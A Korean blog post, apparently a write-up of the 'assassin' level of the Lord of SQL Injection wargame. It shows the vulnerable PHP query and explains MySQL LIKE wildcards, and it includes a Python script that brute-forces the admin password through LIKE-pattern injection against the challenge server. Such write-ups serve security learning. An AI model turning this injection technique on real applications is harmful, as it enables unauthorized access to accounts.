[LOS] 15번 assassin 풀이

2019. 8. 7. 02:00문제풀이/los.rubiya.kr

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

이번 문제의 금지문자열은 ' 하나다.

'를 쓰지 못하게 하고, where 문에 like가 있는걸 보아 mysql에서 사용하는 like의 사용법에 대해 묻고있는것 같다.

 

앞서 brute-force attack 시에 id like 'admin'과 같은 문장을 사용했다.

이와 같이 id like '[문자열]' 의 의미는 id = [문자열] 과 같다.

 

이 외에도 like를 이용해 다양한 문자열을 나타낼 수 있는데,

id like '%[문자열]'의 의미는 [아무말][문자열]이고,

id like '%[문자열]%'의 의미는 [아무말][문자열][아무말],

id like '[문자열]%'의 의미는 [문자열][아무말]이다.

 

예시를 들어보면 이해가 조금 더 쉬울 것이다.

id like '%a'
>> 'bca', '12a'

id like '%a%'
>> 'bca', '12a', '12a12', 'bcabc', 'abc', 'a12'

id like 'a%'
>> 'abc', 'a12'

이걸 이용하여 아스키코드 상의 모든 문자를 대입하여 문제를 해결하였으며,

이 때 %25(%)와 %5f(_)는 제외하였다.

%25는 똑같은 %라 그렇고, _는 다른 의미가 있다.

_는 자릿수를 고려할 때 사용한다.

예시는 아래와 같다.

 

id like '_a%'
>> 'badfdf', 'ba'

id like '__a_'
>> 'bbac', 'abac'

 

모든 문자를 한글자씩 [문자열]% 형식으로 대입했을 때는 모두 guest로 나온다.

guest랑 admin의 pw가 겹치는 부분이 있다는 거니까 겹치지 않는 부분이 나올 때 까지 계속 문자열을 덧붙여주면 된다.

 

코드는 아래에 있다.

 

 

 

++

참고로 like 반대로 not like가 있다!

id not like '%a%'를 입력하면 a가 들어가지 않는 id들을 출력한다.

 

...더보기
import urllib.request

url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {}
headers['cookie']=" "
headers['User-Agent']="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"

#length

def find():

    ans=""
    breaker=0

    while(1):
        for i in range(33, 127):

            if((hex(i)=='0x25') or (hex(i)=='0x5f')):
                continue

            key = "%"+format(i,'x')
            url1 = "?pw="+ans+key+"%25"

            req = urllib.request.Request(url+url1, headers=headers)
            data = urllib.request.urlopen(req).read().decode('utf-8')

            if(data.find("Hello admin")!=-1):
                print("key: "+ans+key)
                breaker=1
                break

            elif(data.find("Hello guest")!=-1):
                print(f'%{format(i, "x")}')
                ans = ans + key

        if(breaker==1): break

if __name__ == '__main__':

    find()
​

 

 

'문제풀이 > los.rubiya.kr' 카테고리의 다른 글

[LOS] 17번 zombie_assassin 풀이  (0) 2019.08.08
[LOS] 16번 succubus 풀이  (0) 2019.08.07
[LOS] 14번 giant 풀이  (0) 2019.08.07
[LOS] 13번 bugbear 풀이  (0) 2019.08.07
[LOS] 12번 darkknight 풀이  (0) 2019.08.06